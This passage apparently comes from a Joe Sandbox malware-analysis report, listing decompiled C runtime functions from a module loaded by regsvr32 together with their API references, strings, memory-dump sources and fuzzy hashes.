				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t252 = _a1060;
				_a876 = _t252;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t354 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t354;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t252 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t354 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t379, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c719
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C

Strings

0, xrefs: 000007FEF9D3C739
', xrefs: 000007FEF9D3C719
9, xrefs: 000007FEF9D3C98F

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: '$0$9
API String ID: 1967237116-269856862
Opcode ID: 83c439eea7fc9ce93bcb821b911d608e7d80de2d13083439c5735137d4fc31ad
Instruction ID: b3eda79bc04a60fb7ee4a4011f7c31915f3bf9e4e3688118cbdbb277fe6e384d
Opcode Fuzzy Hash: 83c439eea7fc9ce93bcb821b911d608e7d80de2d13083439c5735137d4fc31ad
Instruction Fuzzy Hash: 0D41B47260DAC187E7B58B19E8957AEB7E4F385791F100125EAC886B98DB7DE640CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35260 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_CreateFrameInfo.LIBCMTD ref: 000007FEF9D35342
_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D353DC
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D35433

Strings

csm, xrefs: 000007FEF9D353ED

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Frame$CreateDestroyedExceptionFindInfoObjectUnlink
String ID: csm
API String ID: 2005287440-1018135373
Opcode ID: 4c556ceed80f2aba1954f9041ed191ad0fbab56fa1f8ad9f2457e70616e7d401
Instruction ID: 0432dbe60f42fc154ce83aeddd16286c3d94edaaa77ff7db33c77853d76fe5a2
Opcode Fuzzy Hash: 4c556ceed80f2aba1954f9041ed191ad0fbab56fa1f8ad9f2457e70616e7d401
Instruction Fuzzy Hash: FB51A836608B8682DAA09B1AF49076E77E0F3C4B91F615125EBCD47BB5DF3AD444CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28040 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

__initmbctable.LIBCMT ref: 000007FEF9D28056
GetModuleFileNameA.KERNEL32 ref: 000007FEF9D28071

Strings

C:\Windows\System32\regsvr32.exe, xrefs: 000007FEF9D28068, 000007FEF9D28077, 000007FEF9D280A9
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdargv.c, xrefs: 000007FEF9D2813C

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FileModuleName__initmbctable
String ID: C:\Windows\System32\regsvr32.exe$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdargv.c
API String ID: 3548084100-1254873407
Opcode ID: d38f4fd9cb9ecdd73cd32345429acc70b773e7a180fa8c1b1693dc69edd9f2e5
Instruction ID: 40487cdd99e7390fc7cfa00da240fffb72a0e4e16c6d4a8cb9187a6270b67cf4
Opcode Fuzzy Hash: d38f4fd9cb9ecdd73cd32345429acc70b773e7a180fa8c1b1693dc69edd9f2e5
Instruction Fuzzy Hash: 09410C21A19A8281EA90CB19EC8136E77A0F7857A5F614626E6EE43BF4DF3ED144C701

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D328E8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32A56

Strings

("Buffer too small", 0), xrefs: 000007FEF9D329F2, 000007FEF9D32A4F
_vsnprintf_s_l, xrefs: 000007FEF9D32A48
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32A07, 000007FEF9D32A41

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3717698799
Opcode ID: 65def78894184635a726d36e54dfff1a0241531dd31d36ef72262bf6a1fca492
Instruction ID: db9b60f6e9b20c9f37adeee518bf084cd0881f5c38580f5bd04c1ce4cfd39116
Opcode Fuzzy Hash: 65def78894184635a726d36e54dfff1a0241531dd31d36ef72262bf6a1fca492
Instruction Fuzzy Hash: 49412931E1C7868AEAB08B24E84476E62E0F385365F604335D6ED427E5CB3EE444CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27816 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

_calloc_dbg.LIBCMTD ref: 000007FEF9D27858

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

GetFileType.KERNEL32 ref: 000007FEF9D27A24
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000007FEF9D27AA5

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c, xrefs: 000007FEF9D27841

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CountCriticalFileInitializeSectionSpinType_calloc_dbg_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c
API String ID: 2306298712-3864165772
Opcode ID: 6db4822cd77f1ed37bef3fea8eb09d36478b9c501087b185a6ab49f69a42b384
Instruction ID: b637de57708ed2c7d115ffe7a667dd769ed1fe34c6e506efeb830bf347bff847
Opcode Fuzzy Hash: 6db4822cd77f1ed37bef3fea8eb09d36478b9c501087b185a6ab49f69a42b384
Instruction Fuzzy Hash: D8313D32609BC585E7B08B19E84076EB3E1F385764F618225CAED877E4DB3DE405CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37F0E Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3806E

Strings

bufferSize <= INT_MAX, xrefs: 000007FEF9D3800A, 000007FEF9D38067
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3801F, 000007FEF9D38059
_wcstombs_s_l, xrefs: 000007FEF9D38060

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c
API String ID: 2123368286-2562677240
Opcode ID: dabd10d16ebe11174fc63b9f89b539a3b240949ad9ffb505f617c08bbd3ff20b
Instruction ID: c85490607768c44f9eb9442c12c0ad7794bb5914cb74fa2bef1d73063ee62390
Opcode Fuzzy Hash: dabd10d16ebe11174fc63b9f89b539a3b240949ad9ffb505f617c08bbd3ff20b
Instruction Fuzzy Hash: 67311632A0DB8685EAB09B15E8407AEB7E1F385390F204625D6DD43BE8DB7ED444CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40680 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D4071E

Part of subcall function 000007FEF9D3AFB0: _invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

Part of subcall function 000007FEF9D40A20: __doserrno.LIBCMTD ref: 000007FEF9D40A33

Strings

(str != NULL), xrefs: 000007FEF9D406BA, 000007FEF9D40717
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c, xrefs: 000007FEF9D406CF, 000007FEF9D40709
_fclose_nolock, xrefs: 000007FEF9D40710

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter$__doserrno
String ID: (str != NULL)$_fclose_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c
API String ID: 1181141450-2845860089
Opcode ID: 7bab6b588e6dd2839569b0ca5fa95970036134ebeeb6453b58b8f029525d0fe5
Instruction ID: a2d3a4357c877c10dbeba88c1570b3bcf2b7b0db3c51835aaf51b50bd6ce4727
Opcode Fuzzy Hash: 7bab6b588e6dd2839569b0ca5fa95970036134ebeeb6453b58b8f029525d0fe5
Instruction Fuzzy Hash: 25316D36A28A4286E7909B19E88476E77E0F380794F205125F6CE477F5CB7ED841CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3AB10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3ABCD

Strings

_isatty, xrefs: 000007FEF9D3ABBF
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3AB69, 000007FEF9D3ABC6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isatty.c, xrefs: 000007FEF9D3AB7E, 000007FEF9D3ABB8

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_isatty$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isatty.c
API String ID: 2123368286-160817255
Opcode ID: 20bce409a33f2d52ae5b3246709d5cabe66b407105c41d1953a7685d10f1773e
Instruction ID: f81691e69628683e8e3df4f52d5e63bc79cedec177f2501b48199eede19b8a9f
Opcode Fuzzy Hash: 20bce409a33f2d52ae5b3246709d5cabe66b407105c41d1953a7685d10f1773e
Instruction Fuzzy Hash: 7E218E71B2D6428AE7D89B24EC8476DB3E1F390395F609635E1DE476E4D77ED4018B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40580 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D4061E

Strings

(stream != NULL), xrefs: 000007FEF9D405BA, 000007FEF9D40617
fclose, xrefs: 000007FEF9D40610
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c, xrefs: 000007FEF9D405CF, 000007FEF9D40609

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (stream != NULL)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c$fclose
API String ID: 2123368286-3409824857
Opcode ID: b4902cc461c388e31b4dcd0307079e4da2555ab755984697fa072277fbec1f80
Instruction ID: aea6e50ad225ee654e5ba897f2371f9ab8692fab447ee5272478533351973a17
Opcode Fuzzy Hash: b4902cc461c388e31b4dcd0307079e4da2555ab755984697fa072277fbec1f80
Instruction Fuzzy Hash: 69214C72A2D64286EB909F58E84476EB7E0F380394F605125E6CE47AE4CBBED444CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2C170 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D2C20A

Strings

(unsigned)(c + 1) <= 256, xrefs: 000007FEF9D2C19E
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isctype.c, xrefs: 000007FEF9D2C1B3

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID: (unsigned)(c + 1) <= 256$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isctype.c
API String ID: 1901436342-3621827421
Opcode ID: 582f87e7669c1111abee6c616077222c15a1b9b573b43815cbd7bd4630f6c99c
Instruction ID: b6da7cfe51097e189ae1413993ad3b1820e6f9d9ec5e09c8ec6feaf0c9b902cc
Opcode Fuzzy Hash: 582f87e7669c1111abee6c616077222c15a1b9b573b43815cbd7bd4630f6c99c
Instruction Fuzzy Hash: 6D210132918A8186E790DB64E8516AEB7E0F7C4780F614122E7CD83AB9DB7DD954CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32C9F Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 48COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32D62

Strings

_set_error_mode, xrefs: 000007FEF9D32D54
("Invalid error_mode", 0), xrefs: 000007FEF9D32CFE, 000007FEF9D32D5B
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c, xrefs: 000007FEF9D32D13, 000007FEF9D32D4D

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid error_mode", 0)$_set_error_mode$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c
API String ID: 2123368286-2972513288
Opcode ID: f8745b700fb78b44b2e658b57c518d69726f466f5def5af1cc34e5c73236fe3e
Instruction ID: 6381d33894c21e9a570bb340808ef8ba759c91e84b1c9252353dd9e19991e7ba
Opcode Fuzzy Hash: f8745b700fb78b44b2e658b57c518d69726f466f5def5af1cc34e5c73236fe3e
Instruction Fuzzy Hash: 64211A31E1D242CAE7E08F28EC44B6E72E1F344395F605536A6CA866B4D77EE944CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32695 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3274D

Strings

_vsnprintf_s_l, xrefs: 000007FEF9D3273F
string != NULL && sizeInBytes > 0, xrefs: 000007FEF9D326E9, 000007FEF9D32746
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D326FE, 000007FEF9D32738

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$string != NULL && sizeInBytes > 0
API String ID: 2123368286-367560414
Opcode ID: b10b6c40919f833f94f1f9af6a6d465dd1a232ebc9f5396bdae7492d99103452
Instruction ID: a1605579a08129191013953cda15cb2ece86ed32ec4905bca1088ce11b277eda
Opcode Fuzzy Hash: b10b6c40919f833f94f1f9af6a6d465dd1a232ebc9f5396bdae7492d99103452
Instruction Fuzzy Hash: EB114931E0C64A89F7E08B14EC457BE62E0F750385F608525D2DD46AF9CBBEE4888F01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D375E9 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 40COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3769D

Strings

_wcstombs_l_helper, xrefs: 000007FEF9D3768F
pwcs != NULL, xrefs: 000007FEF9D37636, 000007FEF9D37696
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3764B, 000007FEF9D37688

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c$pwcs != NULL
API String ID: 2123368286-2992382544
Opcode ID: 4e01e6c780b0bcb150885d639f6c4af62c750d2377cec983ef0e9e7992ea6864
Instruction ID: 6b038216fd5801b421c61b74e1935d340daef546a177eff3ea16a7a1b838ed42
Opcode Fuzzy Hash: 4e01e6c780b0bcb150885d639f6c4af62c750d2377cec983ef0e9e7992ea6864
Instruction Fuzzy Hash: EE112831A08A86D5E7F08B24EC547BE62D0F388355FA0862581DD826E5CF7ED184CB01

Uniqueness

